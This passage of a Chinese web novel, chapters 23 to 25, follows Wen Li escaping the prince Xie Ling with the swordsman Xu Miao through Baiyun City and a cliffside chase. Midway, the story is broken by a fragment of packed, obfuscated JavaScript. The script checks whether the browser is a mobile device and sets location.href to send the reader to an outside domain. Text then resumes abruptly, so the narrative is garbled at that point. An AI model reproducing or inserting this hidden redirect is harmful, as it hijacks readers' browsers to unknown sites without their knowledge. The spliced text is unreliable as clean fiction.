闻梨忙摆手道:“不必,你要喜欢,我那里还有几件,都给你穿。” 徐渺:“……”他倒也不是很喜欢穿女子的服饰,束手束脚,不够宽松轻便。 待徐渺离开后,闻梨蹲身探进了河水里,感受着水流带来的凉爽之意,她试着搓搓胳膊,发现搓出了好大的泥垢,自己在心里嫌弃了一把,正要脱衣服,猛地想起自己刚才偷看徐渺洗澡,他表面看着乖模乖样,该不会趁她洗澡看回来吧? 出门在外,多留个心眼才不会让自己吃亏。 这般想着,闻梨扒开草丛一瞧,没瞧见徐渺躲在哪里偷看,这才放心褪去衣裳,潜进水里,痛痛快快地洗澡。 在闻梨看不见的高处,徐渺正倚坐在树枝上,此处视野极佳,恰能看见闻梨的一举一动,他瞧见她方才的举动,唇角微微弯起弧度,她傻得有点可爱了,那样做哪里能防得住他? 就比如现在,他能清晰地看见她用哪只手解的衣带。不过,徐渺就此打住,没往下继续看,扭头眺望远处的山林,安静地替闻梨把风。 闻梨洗完澡回来,见徐渺已经把昨天的兔肉洗干净,架在火上烤着,香味钻进鼻腔,闻梨迫不及待在火边坐下,眼睛一眨不眨地盯着他的手,以及他手里举着的烤兔肉。 真是一双漂亮的手,瘦削匀长,莹白肌肤下,可见淡淡的筋骨走向,是一双极有力量的手。 再看那烤兔肉,外皮色泽金黄,肉质松软,看起来十分有嚼劲。 “吃过早饭,我们就上路吧,你想去哪里?”徐渺忽而开口询问闻梨的意见。 闻梨神情立马变得局促:“我原本是要去白云城,但是半道上迷了路。” “这样啊。”徐渺风轻云淡地说:“白云城离这里可不近。” 闻梨踩上脚边的木柴,在地面搓了搓,“其实我也不是非去白云城不可,你要去哪里?能不能捎带我一程?” 见徐渺诧然抬眼,目光落向自己,闻梨心想他定是误会了,连忙解释道:“我不是要缠着你,到下个城镇我能自己走,我看不懂地图,才会在森林里迷了路。” 徐渺垂下眼眸,脸上神情淡淡,让人看不出他在想什么,过了好一会儿,他才轻声道:“正好,我也要去白云城,那我们午后出发,到了白云城再分别吧。” 两人吃过早饭,就驾车赶路,徐渺伤势未愈,便由闻梨来赶车,他坐在一旁指路。 马车不大,两个人离得很近,山风迎面吹来时,闻梨几乎可以闻到少年身上淡淡的清香,有点像兰草的味道,闻起来有种让人放松的感觉。 她忽然有点庆幸出发前收拾干净了,要不然自己半个多月没洗澡,身上肯定股怪味道。 五日后,二人抵达了白云城,刚到城门口,见城门守卫盘查森严,闻梨心中紧张,便勒停马车,想把面具戴好再进城,回头却见徐渺从马车下来,朝她笑道: “阿梨姑娘,我不便与你一起进城,我们就此作别,多谢姑娘前些日子的救命之恩。” 他终于要离开了吗? 闻梨盯住徐渺须臾 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他轻车熟路穿过街巷,来到一处僻静的宅院外,叩了三下院门,没多久,门开了,里面露出一双小心翼翼打量的眼睛,见门外站着的是徐渺,那人立马开门,迎徐渺进院。 高鹤激动得热泪盈眶,跪在徐渺面前,鼻涕一把眼泪一把:“属下们还以为主子没了。” 此人便是那日在玉京城外带徐渺走的其中一人,当时谢陵的人穷追不舍,为掩护徐渺离开,仅剩的三人各自扮成徐渺,逃往不同的方向,还约定在白云城相见,但一连二十多天过去了,始终不见徐渺人影。 “其他人怎么样了?”徐渺扶高鹤起来。 高鹤:“杨泽伤势较重,还躺着养伤,杜承和冯胜没什么大碍,白天出去打探主子消息了,待属下给他们留个记号,召他们回来。” 徐渺先进屋探望了杨泽的伤势,随后换了身干净衣服,给自己的伤口涂抹了药。 “主子,这衣服和匕首怎么处理?”高鹤进来问。 徐渺愣了一瞬,这才想起,匕首还没来得及还给闻梨,以及自己答应过要还给她一套新衣裙,刚好他们在白云城掩人耳目的营生便是布庄。 他思索片刻,起身出门,去前铺里挑选一套适合闻梨的衣裙,连带那把匕首,命高鹤送去。 白云城的客栈也就那么几家,高鹤很快找到闻梨住的地方,命店小二送上楼,店小二敲门时,闻梨还在梦里遨游,于是店小二只好将包袱放在了门口。 高鹤办完差事回来,收到消息的杜承和冯胜已经赶回院中,正在向徐渺汇报有关谢陵的最新消息。 杜承:“主子不知道,谢狗十天前就来了白云城,起初以为是冲着主子来的,但属下们观察了几日,那谢狗似乎在找一个女子。” 徐渺沉思道:“我知道他在找谁。” 其实那天,徐渺第一眼就认出,闻梨是那天跟谢陵一起逛街的那个人,没想到会在那种情况下被她所救,起初他完全没把闻梨与马车上消失的新娘联系在一起,一切太过凑巧,现在想想,闻梨就是那个逃走的新娘。 而谢陵想必十分在意闻梨,才会追到白云城来。 想通了一切,徐渺坐不住了,既然他查得到闻梨在哪里,想来谢陵的人也查得到,若再迟些,闻梨可能就会被谢陵找到。 高鹤追出去:“主子,您去哪里?” 23. 二十三章 十天前,谢陵就抵达了白云城。 原本雨夜过后的第二天,谢陵收到手下人传来的消息,便要动身赶往白云城,寻找闻梨的下落。 然而却被军师以命相拦。 商晏长跪在马前,诚恳进言:“殿下万不可鲁莽行事,公主丢失,圣上大怒,王家退婚,王谢两家联姻一事就此作罢,如今一半朝臣倒向东宫太子,联名上书讨伐殿下,倘若不解决好这些事,触怒了远在北疆的谢侯爷,即便把公主找回来,殿下又能得几时安宁?” 谢陵僵在马背上,手中的马鞭迟迟未能挥下,叔父的手段他再清楚不过,到那时候,闻梨必死无疑,现在他还不想闻梨那么快死去。 转天,谢陵便依照军师的意思,去了趟王宅,但王家家主称病不见,谢陵吃了个闭门羹。 谢陵执意不走,独自坐在正厅里等了一整天,直至傍晚,王景玄才拖着病体,前来正厅面见谢陵。 刚一进门,王景玄便遣散下人,一边咳嗽,一边坐下道:“让王爷久等了,下官身体抱恙,实在无法起身,先前下官已经派人禀明王爷,您与小女婚事作废,往后男婚女嫁各不相干,这也是小女的意思,还请王爷莫要为难王家。” 谢陵默然,下意识想端起茶杯,杯中无茶,却只得放下,坦诚道:“当众悔婚是晚辈的错,能不能让晚辈见一见王家妹妹,晚辈想跟她当面道歉。” 王景玄缓缓摇头:“小女说过,不愿再见王爷,小女说王爷心中另有他人,勉强成婚并非她愿,王家曾经负过王爷一次,王爷也负了小女一次,算是扯平了,往后互不相欠。” 见联姻已无可转圜,谢陵反倒松了口气,起身道:“晚辈尊重王家妹妹的意愿,虽然婚事不成,烦劳王伯父转告王家妹妹,小时候的情义我都记着,倘或王家妹妹遇到什么麻烦,随时可来王府找我,晚辈告辞。”说着,他便要走。 “王爷请留步!”王景玄急步追去,因吸了口凉风,又开始咳嗽起来,门外的下人忙递水捶背,才渐渐止住咳嗽。 谢陵耐心等着,见王景玄恢复气色,才道:“王伯父还有何教诲?” 王景玄忽地跪下,眼眶湿润道:“当年,我贪生怕死,有负谢秦兄的知遇之恩,在谢家最困难时只顾着保全自己,没有及时找人去救谢家,还将王爷赶出家门。如今,我也遭到报应了,王氏一族空有书香清流之名,内里却互相贼害,早已不服于我这个家主,我被自己人下了毒,命不久矣,唯一放心不下妻女,王爷不计前嫌,今时今日还愿意护着小女,着实令老夫羞愧不已。” 任王景玄如何悔过,谢陵丝毫不为所动,冷眼瞧着,指骨捏得泛白,他心里明白,人都有自保的本能,却也因此更加难过。 王景玄擦擦泪道:“我心中明白,王谢两家再无重修旧好的可能,其实今日我无颜愧见王爷,是小女劝我来此,我心里深知,之所以联姻,是王爷想借王家及其宗族的人脉夺势,我愿意与王爷结势,助王爷在京城站稳脚跟,只求王爷日后得势,不求提携王家后辈,但求能护我妻女一世周全。” 说罢,王景玄猛然咳嗽了一阵,痰中带血,瞧着像是得了咳疾。 谢陵沉声应道:“好。” 他对王景玄的投靠并不意外,来前军师便已经查清,王景玄在王家并不得人心,还被人下了毒,时日无多,而王家内部四分五裂,想要找寻新的靠山,所以对于王景玄而言,与其让家权旁落,不如借着临王的势力,重新夺回家权,给妻女寻个庇佑。 王景玄此人心思深沉,一直在暗中考量谢陵是否值得投靠,是故谢陵以退为进,解决了王景玄的心腹之患,夺得王氏一族的支持。 从王家出来后,谢陵直接进宫了,将闻梨失踪的过程回禀给晋祐帝,满头白发的晋祐帝只关心自己的陵墓能否按时修好,对闻梨的生死只字不提,谢陵再三保证,不会影响进展,晋祐帝才肯罢休。 第二天,王景玄进宫面圣,说不再追究谢陵当众悔婚一事,苦主都发话了,旁人自然也不好再拿此事做文章。 尽管谢陵已经解决了大部分麻烦,但远在北疆的谢宗听说了此事,怒不可遏,派人传来密信,说会在下个月皇帝寿辰日进京,亲自过来看看京都这边的情况。 谢陵离京前夜,商晏来送行,再三叮嘱:“王爷只有半个月的时间,不论能否找到公主,都需尽快赶回来,不然谢侯爷那边,不好交代。” 今天已是谢陵来白云城的第十天,始终一无所获,直到今晚,有探子来报,说有年纪相仿的女子孤身进城。 谢陵不愿放过任何一个机会,得到消息后,便立即带人赶来山悦客栈。 * 夜半时分,闻梨在睡梦中被人唤醒,睁眼见床边立着个黑影,登时吓得她睡意全无,魂快丢了一半,刚要喊出声,便被那人遮住了嘴。 “别怕,是我。”徐渺俯身凑近道。 看清来人后,闻梨冷静下来,不再胡乱扭动,待徐渺松手,她深吸一口气问道:“你是怎么找到这里来的?” “来不及跟你解释。”徐渺听到门外的动静,低声催促道:“你先跟我走,外面来人了。” 闻梨凝神细听,果然听到一阵噔噔噔的上楼声,显然人数还不少,她想都没想,立马起身,拎起枕边的包袱,看着徐渺问道:“我们往哪走?” 徐渺站在了窗边,窗户正大开着,闻梨往窗外瞧了一眼,这里是二楼,以她的身手从这里跳下去,肯定会扭伤脚。 “可是我……” 不等闻梨说完话,徐渺忽然贴身过来,抱住闻梨,从窗边跃上房顶,两人身影消失在无边黑夜中。 * 客栈二楼客房外,店小二敲了半天房门,不见里面回应,哆嗦着身子道:“小、小人方才来送东西,就没见里面的客人回应,想必是睡着了听不见。” 谢陵拧紧眉头,早就没什么耐心了,吩咐风浅破门而入。待房门被风浅用蛮力拆开,只见屋内静悄悄的,一簇冷淡月光透过窗户,照在空荡荡的床铺上。 谢陵伸手探向被褥,里面还有余温,显然人刚走没多久,虽然没见到面,但谢陵心里有种预感,这人一定是闻梨,他想起店小二说过的话,似乎有什么人给闻梨送过东西。 他打开店小二呈上的包袱,里面是一件衣裳,还有一把匕首,瞧那匕首的样式,像是出自玉京的铁匠铺。 此刻,谢陵更加确认,闻梨刚逃走不久。 谢陵眼中闪过一抹厉色,将匕首和衣裳递给风浅,吩咐道:“你先回京都查一查,找出这两样东西的买主。” 他想查清楚,到底是何人一直在暗中帮助闻梨。 * 闻梨没有从这么高的视角观赏夜晚的城楼,她被徐渺抱在怀里,从这座房子的屋脊,踏到另一座房脊上,她望着远处如星点般的灯光,感受着耳畔温柔的风,心里也跟着轻飘飘的,原来用轻功跑路是这样一种肆意的感觉。 “你会害怕高处吗?”徐渺侧过头问她。 闻梨刚要张嘴说不怕,便兜了满嘴的风,呛得直咳嗽,步伐也乱了,不自觉抱紧徐渺的手,好不容易平息了咳嗽,却听到头顶传来一阵轻笑。 闻梨偏过脑袋瞅他,“我不怕高,但是怕你笑得太得意,万一踩空,把我也摔得鼻青脸肿。” 徐渺浅笑道:“好啊,竟然还质疑我,那你抓稳了,带你去个好地方。” 说着,他纵身一跃,往更高处攀去。 转眼间,徐渺带着闻梨飞上一座高高的塔楼,歇在了房屋正脊之上,此处视野极好,皓月当空,清辉洒遍整座白云城中的屋顶,像铺了层淡淡的冷霜。 徐渺放下闻梨:“怎么样,这里很美吧?” 闻梨扶着屋脊坐下,望向夜空中那轮明晃晃的圆月,心中只觉十分惬意,颔首道:“嗯,确实是个好地方。” 她的视线逐渐挪向身边的徐渺,少年今晚穿了一身白,束起高马尾,衣袂飘飘,发尾也跟着风摆动,衬得他身姿挺立, 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闻梨沉吟片刻,道:“应该不是恶霸本人,他刚娶了娇妻,正是两情缱绻之时,哪里有空来抓我,不过很有可能是恶霸手底下的人,总之今晚多谢你啦,要是被抓回去,我这辈子就完了,会被折磨得生不如死。” “你这么怕他啊?”徐渺好奇道。 “他这个人性格反复无常,对你好的时候,天上的星星都给你摘,一旦发起脾气来,就各种耍阴招,把人当狗一样戏弄,他还说等我嫁过去,便要拿锁链绑着我,你说可不可怕?” 徐渺扑哧一笑,“看来他对你挺上心的?” 闻梨脑袋摇得跟拨浪鼓似的:“一点也不,他只是……”只是因为她的母妃害死了他全家,他想报复她而已。 闻梨后知后觉,自己竟然跟徐渺说了这么多,她其实不想提起谢陵这个人,反而很好奇徐渺的事情,“你家就住在白云城吗?在哪个位置?” 徐渺:“别看了,我家不住在白云城。” 闻梨还想继续问徐渺是哪里的人,但见他闭口不提自己的事情,心想也许他俩还没熟到那个份上,便只好歇了心思,尽情欣赏眼前的风景。 两人都没再说话,一时间气氛凝滞。 过了好一会儿,徐渺忽然开口道:“白云城不能再待了,你接下来想去哪里?” 闻梨自己也很迷茫,她从袖口掏出地图,借着月色,低头研究了半天,还是没想好去哪里,图纸上的地名与她而言,不过是一行行小字。 她不动声色,朝徐渺那边挪了挪,靠得更近了些,然后指着地图问他:“你肯定经常走南闯北吧?有没有见过那种山清水秀、民风淳朴的,适合隐居的地方?还得离京城远远的才行。” 徐渺接过她手里的地图,从北到南扫了一圈,沉思了许久。 见他默然不语,闻梨便笑了笑,道:“不必太为难,想不到的话,我就停停走走,遇到合适的再说。”说着,她伸手去拿地图。 徐渺却扬手避开,眸光一转,落在她脸上,“我倒是知道有这样一个地方,很多避世的江湖人都住在那里,官府如同虚设,治安自有正义之士维护。” 闻梨眼前一亮:“真的?在哪呢?” 徐渺紧接着补了一句:“不过地图上没有,寻常百姓很少有人知道。” 闻梨不禁皱眉,有些失望:“这样啊,那……我再考虑看看。” 她顿了顿,面含迟疑看向徐渺,吞吞吐吐道:“你在白云城的事情办完了吗?之后有什么打算?” “我的事不着急,一时半会儿办不完,接下来还没想好做什么。”说罢,徐渺站起身:“时候不早了,我送你下去?” 闻梨盯着徐渺那宽厚匀称的手掌心,心里起了点歹念,她伸手攥住他半边手掌,生怕他跑了一样,他的手凉凉的,握着很舒服。 “那个,你愿意给我当护卫吗?我有钱,养你一辈不成问题!” 24. 第二十四章 徐渺僵住,明显失神了一瞬,那双温澈的眼眸闪动着异样的光芒,一脸不可思议,似乎有带着点犹豫,眉间染上几分纠结之色。 这一瞬过得无比漫长,闻梨感觉到自己心跳加速,一颗心快要扑出胸膛,这算是她头一回对别人提出这种让人面红耳赤的请求,生怕被对方拒绝,想了想,她又觉得太过草率,毕竟连对方的底细都不知道。 闻梨赶紧松手,试图找补:“你要是不方便也没关系,我再找别……” 她的话说到一半,手还没缩回,便又被徐渺紧紧牵住,只见他目光灼灼凝望着她,笑容意味深长:“我不好养,每月少说要五十两银子,不过看在你救我一命的份上,工钱就不要了,管吃管住就成。” “这么说你是答应了?”闻梨欣喜起身。 徐渺笑而不语,再度揽住闻梨的腰,带着她从塔楼顶一跃而下。 周遭景物模糊闪过,快速掉落的下坠感令闻梨心悸得厉害,她紧紧闭上眼,在极度紧张之下,身体的每一寸感触都会被放大,她感受到他掌心的暖意,也能清晰地听到从他那边传来的喃喃低语。 “希望你不会后悔。” 片刻功夫后,二人平稳落地,闻梨这次回过神来,疑心刚才是不是自己出现了幻听,“你刚才说话了?” 徐渺却闭口不谈,松开闻梨,又保持着从前的距离:“走吧,带你去我住的地方。” 徐渺带着闻梨来到布庄后院,找了间空房安置闻梨住下,期间他的属下们都没有露面。 直至徐渺回到自己房间,高鹤等三人再次现身,皆一脸困惑问道:“主子怎么带了个姑娘过来?她会不会给主子招惹麻烦?” 徐渺道:“她就是谢陵要找的人。” 属下们面面相觑,冯胜大胆提议道:“主子,这是天赐良机,可以利用她把谢狗引来,上次我们人少,没有杀掉谢狗,实在可惜!” 高鹤很是赞同:“陈大人也在谢陵手里,听说陈大人还活着,被关在地牢,可以先要挟谢陵,把陈大人换出来,再设下陷阱。” 徐渺一直没说话,目光落在幽微的烛火上,不知在想些什么。 杜承是个急性子,抓耳挠腮道:“主子,您还在犹豫什么?让属下先把那姑娘绑了,以免她逃了。” “慢着!”徐渺终于出声制止,神色依旧冷静,语气却严肃了许多:“谢陵在四处找她,她暂时不会走,你们可曾想过我们屡次设伏失败的原因?玉京城是晋朝的京都,我们处处受阻,倘若不能一击杀掉谢陵,反会被他围杀。白云城也一样,况且我们没剩几个人,得从北齐调集人手,此事还需要从长计议,没我的吩咐,不许任何人对那姑娘做什么。” 徐渺对待下属们一向温和,今夜这副郑重其事的认真模样十分罕见,高鹤几人知他心中自有打算,便只好忍下想要为同伴复仇的急切心思,听从主子的吩咐。 * 后半夜,闻梨睡得并不安稳,又梦到谢陵追来了,梦里的她还睡在客栈,谢陵拎着剑就站在门外,砰砰砰的一直敲门,窗边也有个谢陵,甚至房梁上也有他的身影,闻梨都不知道该往哪里躲,正要爬进床底,门却自己开了。 闻梨吓了一跳,醒来时果然听见有人敲门,心像是被什么揪紧了一瞬,直至听到门外人说话,她才想起自己昨夜住在徐渺这里。 闻梨麻利穿好衣裳开门,见徐渺手中端着清粥小菜,她赶忙接过,放在了桌上。 “昨晚睡得怎么样?”徐渺仍站在门边,笑着问道。 “还好。”闻梨一边洗漱,一边邀他进屋说话,“我们什么时候出发?” 徐渺瞥了眼闻梨已经收拾好的包袱,道:“这几日恐怕都走不了,白云城被封了,暂时出不去。” 闻梨擦脸的手微微一顿:“因何封城?” 徐渺决定如实告诉闻梨真相:“是你说的那个恶霸所为,他的人正在挨家挨户搜查,到处缉拿你。” 闻梨扭头便要去包袱梨翻找面具,徐渺摇头道:“没用的,他已经知道你会易容,每个被搜查的人,都要洗脸。” 闻梨这下是真的慌了,坐立不安。 徐渺安慰道:“别怕,他虽然封了城,但碍于民怨,维持不了多久的,院里有间密室,你怕黑吗?如若不嫌委屈,可以进去避一避风头。” 闻梨沉默了片刻,忽而问道:“密室里有老鼠吗?” 徐渺怔住:“你想要老鼠给你作伴?” “不不、不想要,我小时候经常被继母关小黑屋,受够了被老鼠啃脚趾头的感觉。” 徐渺神色凝重道:“有我在,老鼠不敢咬你。” 闻梨心头一喜:“……”什么?他要陪我进小黑屋? 来到徐渺所说的密室,闻梨才知是自己会错意了,这里根本不是那种惩罚别人的小黑屋,而是好几间议事的暗厅,有暗窗,有通风口,里面打扫得干干净净,别说老鼠,连只小虫子都瞧不见,而且内外皆有机关,也不会出现被困在里面出不来的局面。 闻梨心中有点内疚,起初她还担心万一被关在密室一辈子出不去怎么办,现在看来,完全是她想多了,徐渺那么尽心尽力地帮她,她居然犹犹豫豫,暗自在心底设防。 接下来的几日,闻梨除了解决一些个人问题,基本都在密室里待着,白天徐渺有空时,会进来陪她,到了夜里睡觉的点,又主动离开,完全不是闻梨所想的那种寸步不离的陪伴。 而且密室里一直点着灯,到处都亮堂堂的,她自己待着一点也不害怕,一晃四五天过去了,这日早晨,徐渺进来说,白云城已经解封,百姓可以自由出入城门。 “那个恶霸还在吗?”闻梨比较关心谢陵的动向。 徐渺笑道:“应该是回京了,我亲眼看到他带着人马撤出白云城,已经走了整整一天,明天一早,我们也上路吧。” 夜里,闻梨终于做了好梦,翌日一早,闻梨伸着懒腰出门,见徐渺忙着准备路上要用的各种东西,心中暗自赞叹,他这护卫当得还真是不赖啊! 一扭头,闻梨还看到了自己的马儿,作为曾经一起历经风雨的好伙伴,闻梨很是舍不得这匹马,上次从客栈逃走,她的心里还一直惦念着它。 闻梨心血来潮,抱起一大堆草料,喂给马儿,口中还念叨:“吃吧吃吧,要多吃点,日后长成千里马。” 徐渺忙进忙出,抽空瞧了一眼闻梨,打趣笑道:“它已经成年了,吃多了反而不消化,跟某人一样会闹肚子的。” 闻梨讪讪放下草料,趁着徐渺进屋,又捧了一把草捏在手中,喂给马儿吃。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266873|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吃过早饭后,二人便准备出发了,徐渺说要跟借宿的主人家道声谢,闻梨先自己钻进马车,安静等待。 交代完下属的徐渺出来后,脸上又挂着那副漫不经心的笑容,让闻梨稳坐,他要赶车了。 闻梨难得一阵清闲,毫不客气地拆开桌上的糕点吃,毕竟现在有个武功高、厨艺好的护卫跟在身边,不会再挨饿了。 马车驶出城门,在铺满晨曦的路面上渐行渐远。 与此同时,后边的城楼登上一道修长挺拔的身姿,谢陵眸光幽遂,神色冷似凛冬的寒霜,一言不发注视着渐渐缩小的马车。 一旁风浅快步走来,“王爷,马匹已经备好,随时可以出发。” 谢陵扭头下楼,骑上马背,带着几个暗卫,纵马疾驰追了过去。 白云城外的山路平坦,马车行进速度不算慢,晨风吹来十分凉爽,闻梨卷起一边竹帘,探出脑袋想要透透气。 视线一转,她忽然瞥见有队骑兵正悄无声息地靠近,定睛细看,吓得她手脚发抖,脑海霎时一片空白,马背上的人正是夜夜在梦里纠缠自己的谢陵。 更令人头皮发麻的是,谢陵手中举着弓箭,似乎在瞄向外边赶车的徐渺。 谢陵目光移来,忽地与闻梨对视上了,他微微挑眉,唇畔勾起一抹势在必行的怒笑。 闻梨大惊失色,忙放下竹帘,谢陵箭法的准头,她是见识过的,即使黑夜,百步之外也能射中。 “徐护卫!恶霸追来了,他正拿箭对着你,换我来赶车,你小心点,别被他射中了。” 闻梨大声提醒,一边想要出来接过徐渺手中的缰绳。 徐渺没给,又将闻梨推进车内,“坐稳了,我带你逃出去。” 闻梨只能干瞪着眼,发现徐渺的反应比她想象中更加冷静,便也不再慌手慌脚,攥紧车厢,保持身体的平衡。 徐渺一早就注意到后边的追兵,奇怪的是,明明谢陵的马匹跑得更快,却一直暗中跟在后边,保持着不远不近的距离,许是谢陵怕他情急之下拿闻梨当人质吧? 原来如此,那个在战场上杀人如麻的冷血魔头,也会有弱点。 徐渺攥紧缰绳,挥甩着马鞭,马儿似乎也察觉到危险,奋力地朝上山的道路奔去。 然而路面崎岖不平,马车颠簸得很厉害,闻梨不时回头看一眼谢陵,竟然始终没能把他甩掉,看来他定是对她恨之入骨,才会锲而不舍追那么久,要是落在他手里,自己怎么死都不知道。 马车在山中驰行了一段路程,闻梨被颠得头晕目眩,忽听得马儿嘶鸣一声,马车竟骤停下来,闻梨猛地朝前倒去,一头栽进正掀帘进来的徐渺怀中。 还没等闻梨弄清楚状况,一阵翻天覆地的旋转过后,她便被徐渺抱离了马车,耳边风速很快,跟那天从塔楼跳下的坠落感如出一辙,但很快便落地了。 闻梨茫然睁眼,惊恐地发现自己竟然身处悬崖的峭壁上,悬崖下深不见底,她的马儿被马车的套绳勒紧脖子,胡乱蹬腿,正在急速坠落。 等等,她注意到马车顶好像有个人也在坠落,瞧那身形像是谢陵,他居然也跟着跳下来了?那么高的悬崖,他不会摔死吧? 不过眨眼功夫,马儿、马车以及谢陵消失不见,通通没入半山的浓雾之中。 25. 第二十五章 闻梨心中说不出是什么滋味,倘若谢陵真摔死了,她应该高兴才对,往后再也不怕噩梦成真,可她怎么也想不到,谢陵身手那样好的人,怎会也摔进悬崖?都说祸害遗千年,他应该没那么容易死掉吧? 还有她的马儿,曾经风雨同舟的好伙伴,今早才吃得饱饱的,又不会轻功,掉下去必死无疑。 “你没事吧?被吓到了?”徐渺低头询问怀中人。 闻梨抬头,眼眸湿漉漉的,像是蒙上一层雾气,对上徐渺关切的目光,摇了摇头:“没什么。” 徐渺从未见过情绪如此消沉的闻梨,便默不作声抱着她往上爬。 徐渺一开始就知道,谢陵诡计多端,不会轻易放弃,故而他佯装不察,提前布置好逃跑路线,备好绳索,是以刚才他早看见前方的悬崖,却不勒马,直到最后一刻,才抱着闻梨跳出马车。 他在赌谢陵会不会误以为闻梨在内,也跟着跳下悬崖,任凭谢陵功夫再好,掉进百丈深渊恐也难以逃脱,就算谢陵侥幸逃生,他现在非常确信,闻梨就是那把刺向谢陵最好的利刃。 山顶有谢陵的人守着,徐渺带着闻梨从另一条小径下山,赶回白云城,从马贩子手里,又买了马匹和马车,添置了些生活物资,从另一条路出发,前往桃源村。 这一路上,闻梨都在马车中待着,徐渺并没进去打扰她,只坐在外边赶车,睡觉时也是歇在车顶,或者树上。 直至第二天傍晚,闻梨逐渐打起精神,不再想过去的事情和人,林中暑气渐消,她从马车里钻出来透气,抬头看向靠在树上小憩的徐渺,“干粮快吃腻了,徐护卫能不能教我怎么捕猎?” 徐渺惺忪睁眼,眸底含着浅笑:“好啊,要不要尝尝我最拿手的烤山猪?” 就在闻梨学着怎么抓野猪时,另一边,风浅终于找到了落下悬崖的谢陵,崖底有个水潭,谢陵没死,只是摔晕了过去,马儿也没死,阴差阳错驮着谢陵爬上了岸。 马儿漫无目的地四处闲逛,导致当天追下来的风浅没能第一时间找到自家主子,隔天在一处遮风的洞口发现了谢陵,山里夜晚寒冷,幸而夜里有马儿陪伴在侧,才不教重伤昏迷的谢陵失温死去。 风浅背起谢陵,一手牵着马,朝山外走去。 经过白云城大夫的诊治,谢陵回去的当晚便醒来了,在得知马车内没有闻梨时,他不免松口气,幽幽盯着帐顶愣神。 现在回想起来,谢陵也不记得自己是怎么摔下去的,当时脑海中只有一个念头,闻梨还在车上,得赶快去救她,不等他钻进马车,便被崖间的藤蔓和树枝刮晕,连什么时候落进水中都不记得了。 谢陵不禁陷入沉思,闻梨明明是他仇人的女儿,还三番五次糊弄他,利用他,如今又是一点情义都不讲,不但跟着别的男人跑了,还想要置他于死地,可为什么那个时候,他会毫不犹豫跳下去救她? 连谢陵自己都觉得陌生,除了愤怒与不甘心,他隐约感觉到,还有另一种深藏在心的情绪在慢慢显露,是强烈的占有欲。 他十分讨厌出现在她身边的每一个男子,起初他只想把她囚在身边,供他一人玩弄,可现在他变得贪婪了,想要她的身和心,完完全全只属于他一人。 一想到此,谢陵猛地吐了口血,郁结已久的烦闷却像云雾一样散开,不论天涯海角,他都会追过去,不过眼下,他还有另外一件棘手的事情要办。 风浅忙替谢陵擦拭床边的血迹,“王爷,京城来消息了,说谢侯爷已经秘密入京,召您速速回京。” 谢陵躺下,隔了很久才道:“我知道了,备好马车,明一早动身回京。” “王爷,那匹马怎么处置?”风浅又问。 “暂且养着吧。” * 两个月后。 月华城,是北边贸易繁盛的一座城镇,这里临近北齐,西靠楼兰,聚集着四面往来的客商,还是自古兵家必争之地,此外,江湖人也喜欢在此停留,刀光剑影,寻一番武林天地。 在进城的路上,闻梨就已经听说了好些江湖上的趣事,比如城里有个月华山庄,是拥有百年历史的武林世家,在江湖上颇有地位,而且此山庄只招收女弟子,历代庄主也都是女子。 闻梨心生羡慕,没想到在京城外,女子的世界如此广阔,很可惜月华山庄只招小孩子,要不然她也想去拜师学艺。 徐渺却笑道:“你要真想学,我可以教你一点基础的,遇到普通小贼逃跑绝对没问题。” 闻梨顿时来了兴致:“那我多久能出师?” “若肯勤学苦练,十年足够了。” 闻梨哭丧着脸:“十年啊,这也太久了?你练了多少年呢?” 徐渺:“我从三岁就开始习武,七岁自己闯荡江湖,仔细算算,习武已有十五年了。” 可见大侠不是人人都能当的,闻梨只好歇了心思,继续趴在窗边欣赏外边的风景。 日落时分,马车进了月华城,二人找了间客栈住下,吃过晚饭,便各自回房休息,约好了明天在城里逛一逛。 这两个月以来,二人风餐露宿,几乎没再哪里停留超过两天,远离玉京的势力范围后,江湖气息逐渐浓厚,大街小巷张贴的都是武林中的新鲜事,闻梨的悬赏令也被压在最底下,无人问津。 第二天,闻梨睡到日上三竿才起床,洗漱过后,她敲响隔壁的房门,想叫徐渺一起下楼吃饭,但敲了半天不见回应,她逮住店小二询问一番,才知徐渺一大早就出去了。 闻梨只好自己下楼,点了些清淡的饭菜吃,她有些闷闷不乐,说好要一起逛,徐渺居然自己偷偷出去,也不知道去干嘛了。 她正没滋没味地吃着,徐渺从门口进来,一眼扫见大堂内独自吃饭的闻梨,便过去坐下,神采焕然朝她打招呼:“早上好,昨晚睡得怎么样?” 闻梨搁下碗筷,神情淡淡:“还好吧,你呢,早上出去也不打声招呼,我还以为你……”还以为他走了。 “以为我怎么了?”徐渺狡黠地眨下眼,眼神中还带着一丝无辜,抿唇轻笑道:“我见你这几天胃口不好,特地出去给你买了莲子酥,清凉解腻,想不想尝尝?” 说罢,他便拎起手中的糕点,像逗小猫似的在闻梨面前晃了晃。 闻梨眼前一亮,伸手接过,打开来吃,糖酥入口即化,果然甜而不腻,非常开胃,先前的不愉快瞬间烟消云散。 吃好饭后,二人便一起在月华城中闲逛,闻梨专挑没见过的新鲜玩意买,玩腻了之后又扔给徐渺,徐渺一路耐心跟着,瞧见路上必备的物资药物,还会跟摊主讲价,很有当贤夫的风范。 二人来到城中一处热闹的擂台前,听周围人说是月华山庄的大小姐在比武招亲,闻梨只听说过抛绣球招亲,如今头一遭听说还有比武招亲,兴致盎然挤到人堆前,寻了好位置观看。 徐渺也跟着她挤进来。 “给我给我!”闻梨朝徐渺伸手,徐渺无奈从肩上的布兜里掏出来刚买了炒瓜子,冬瓜糖,怕她吃这些口渴,还贴心地备了壶水。 闻梨很是满意,在一众姑娘少妇的艳羡之下,心无旁骛等着擂台上的人开打。 没等多久,擂台后的游廊上缓缓走出一个清爽利落的身影,来人是个十七八岁的青衣姑娘,乌发用根金绫高高束起,鬓边的碎发与绫带随风缠绕,姑娘生了副极清丽的容貌,眉似远山,眸如点漆,目光在扫过擂台上参赛的人群时,眼中流露出一丝嫌弃与傲然,下巴高扬,丝毫不将众人放在眼里。 